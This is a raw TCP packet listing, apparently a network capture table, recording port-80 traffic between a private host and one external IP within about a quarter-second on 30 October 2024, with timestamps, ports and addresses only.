Oct 30, 2024 04:34:46.094388008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.094402075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.094415903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.094424963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.094438076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.094448090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.094472885 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.094707012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.122136116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.122195959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.122243881 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.122272968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.122308969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.122344017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.122364044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.122383118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.122771025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.174407959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.174443960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.174478054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.174542904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.174587965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.211909056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.211945057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.211980104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212023973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212053061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212095022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212125063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212156057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212181091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212236881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212271929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212294102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212325096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212367058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212400913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212443113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212476969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212510109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212549925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212639093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212662935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212692022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212740898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212795019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212837934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212862015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212896109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.212939978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.212991953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213025093 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213047981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213078976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213114977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213157892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213192940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213217020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213248968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213282108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213324070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213356972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213399887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213427067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213479042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213506937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213532925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213562012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213583946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213641882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213674068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213715076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213767052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213799953 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213845015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213898897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.213932991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.213978052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214030027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214061975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214103937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214155912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214183092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214217901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214271069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214303970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214718103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214771032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214823008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214878082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.214900017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214900017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214926004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.214971066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215007067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215042114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215071917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215099096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215143919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215172052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215205908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215234995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215261936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215292931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215357065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215384960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215411901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215445995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215473890 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215517998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215555906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215579987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215614080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215646029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215668917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215703964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215737104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215760946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215792894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215810061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215842962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215874910 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215898037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215926886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.215959072 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.215981960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216015100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216047049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216068029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216103077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216125011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216156006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216190100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216212988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216240883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216273069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216295004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216330051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216357946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216383934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216430902 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216453075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216485977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216521025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216545105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216583967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216599941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216629982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216664076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216689110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216717958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216751099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216773987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216805935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216840029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216861010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216893911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216928959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.216948986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.216981888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217015028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217015028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217041016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217075109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217097998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217130899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217155933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217187881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217219114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217245102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217278004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217308044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217333078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217366934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217387915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217420101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217442989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217474937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217495918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217530012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217565060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217585087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217621088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217643023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217673063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217698097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217732906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217767954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217786074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217818975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217844963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217878103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217900991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217932940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217974901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.217997074 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.217997074 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218039989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218075991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218096972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218132019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218158960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218178988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218213081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218246937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218266964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218300104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218319893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218353987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218388081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218410015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218432903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218470097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218492985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218527079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218560934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218594074 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.218614101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218651056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.218686104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.219608068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.245292902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.245318890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.245327950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.245373011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.245412111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.245412111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.245486021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.297666073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.297718048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.297728062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.297755957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.297770023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.297770023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.297770023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.297801971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.297827005 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.297967911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335201979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335237026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335249901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335288048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335365057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335398912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335443974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335457087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335458040 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335510015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335608006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335621119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335634947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335642099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335649967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335661888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335666895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335680962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335684061 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335707903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335736990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335748911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335763931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335772991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335772991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335777044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.335808039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.335928917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336235046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336247921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336257935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336276054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336288929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336302042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336304903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336314917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336323977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336340904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336383104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336395025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336405039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336416006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336429119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336441994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336443901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336462021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336467028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336467981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336474895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336488962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336488962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336503029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336515903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336523056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336529970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336539984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336549044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336565971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336579084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336579084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336597919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336610079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336616039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336616039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336642027 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336663961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336674929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336688042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336700916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336705923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336713076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336726904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336731911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336755037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336874962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.336915970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336926937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336946964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336957932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336971045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.336973906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337001085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337100983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337112904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337126017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337131977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337138891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337150097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337152958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337167025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337193012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337193012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337511063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337641954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337652922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337663889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337676048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337687969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337697983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337713003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.337722063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.337723970 CET	80	50987	185.215.113.206	192.168.2.6
